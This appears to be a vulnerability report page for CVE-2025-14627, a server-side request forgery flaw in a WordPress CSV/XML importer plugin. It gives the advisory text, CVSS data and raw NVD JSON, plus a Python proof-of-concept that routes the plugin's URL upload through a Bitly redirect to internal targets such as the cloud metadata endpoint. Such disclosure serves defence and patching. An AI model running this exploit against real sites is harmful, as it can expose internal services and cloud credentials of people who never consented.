Security Vulnerability Report
中文
CVE-2025-14627 CVSS 6.4 MEDIUM

CVE-2025-14627

Published: 2026-01-01 17:15:43
Last Modified: 2026-04-15 00:35:42

Description

The WP Import – Ultimate CSV XML Importer for WordPress plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 7.35. This is due to inadequate validation of the resolved URL after following Bitly shortlink redirects in the `upload_function()` method. While the initial URL is validated using `wp_http_validate_url()`, when a Bitly shortlink is detected, the `unshorten_bitly_url()` function follows redirects to the final destination URL without re-validating it. This makes it possible for authenticated attackers with Contributor-level access or higher to make the server perform HTTP requests to arbitrary internal endpoints, including localhost, private IP ranges, and cloud metadata services (e.g., 169.254.169.254), potentially exposing sensitive internal data.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Import – Ultimate CSV XML Importer for WordPress <= 7.35

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # PoC for CVE-2025-14627 - SSRF via Bitly redirect # Target: WordPress with WP Ultimate CSV Importer plugin <= 7.35 def exploit_ssrf(target_url, bitly_shortlink, internal_target): """ Exploit SSRF by using Bitly shortlink to redirect to internal endpoint Args: target_url: WordPress site URL bitly_shortlink: Bitly URL that redirects to internal target internal_target: Internal endpoint to access (e.g., http://169.254.169.254) """ # Create malicious Bitly shortlink pointing to internal service # Example: bit.ly/xxx -> http://169.254.169.254/latest/meta-data/ # Prepare the upload request endpoint = f"{target_url}/wp-admin/admin-ajax.php" files = { 'file': ('malicious.csv', 'test,data\n1,2', 'text/csv'), } data = { 'action': 'uploader_ajax', 'url': bitly_shortlink, # Bitly shortlink to internal service 'module': 'upload', } cookies = { 'wordpress_test_cookie': 'WP+Cookie+check', } try: response = requests.post(endpoint, data=data, files=files, cookies=cookies) print(f"[*] Request sent to {endpoint}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response preview: {response.text[:500]}") return response.text except Exception as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-14627.py <target_url> <bitly_shortlink> <internal_target>") print("Example: python cve-2025-14627.py http://victim.com http://bit.ly/abc123 http://169.254.169.254/latest/meta-data/") sys.exit(1) target = sys.argv[1] bitly = sys.argv[2] internal = sys.argv[3] exploit_ssrf(target, bitly, internal)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14627", "sourceIdentifier": "[email protected]", "published": "2026-01-01T17:15:42.597", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Import – Ultimate CSV XML Importer for WordPress plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 7.35. This is due to inadequate validation of the resolved URL after following Bitly shortlink redirects in the `upload_function()` method. While the initial URL is validated using `wp_http_validate_url()`, when a Bitly shortlink is detected, the `unshorten_bitly_url()` function follows redirects to the final destination URL without re-validating it. This makes it possible for authenticated attackers with Contributor-level access or higher to make the server perform HTTP requests to arbitrary internal endpoints, including localhost, private IP ranges, and cloud metadata services (e.g., 169.254.169.254), potentially exposing sensitive internal data."}, {"lang": "es", "value": "El plugin WP Import – Ultimate CSV XML Importer para WordPress de WordPress es vulnerable a la falsificación de petición del lado del servidor en todas las versiones hasta la 7.35, inclusive. Esto se debe a una validación inadecuada de la URL resuelta después de seguir redirecciones de enlaces cortos de Bitly en el método 'upload_function()'. Si bien la URL inicial se valida usando 'wp_http_validate_url()', cuando se detecta un enlace corto de Bitly, la función 'unshorten_bitly_url()' sigue las redirecciones a la URL de destino final sin volver a validarla. Esto hace posible que atacantes autenticados con acceso de nivel de Colaborador o superior hagan que el servidor realice peticiones HTTP a endpoints internos arbitrarios, incluyendo localhost, rangos de IP privados y servicios de metadatos en la nube (p. ej., 169.254.169.254), exponiendo potencialmente datos internos sensibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-ultimate-csv-importer/tags/7.34/uploadModules/UrlUpload.php#L290", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-ultimate-csv-importer/tags/7.34/uploadModules/UrlUpload.php#L73", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3421699/wp-ultimate-csv-importer/trunk/uploadModules/UrlUpload.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/87040f2b-4de0-4a8d-ae30-b340638a6df2?source=cve", "source": "[email protected]"}]}}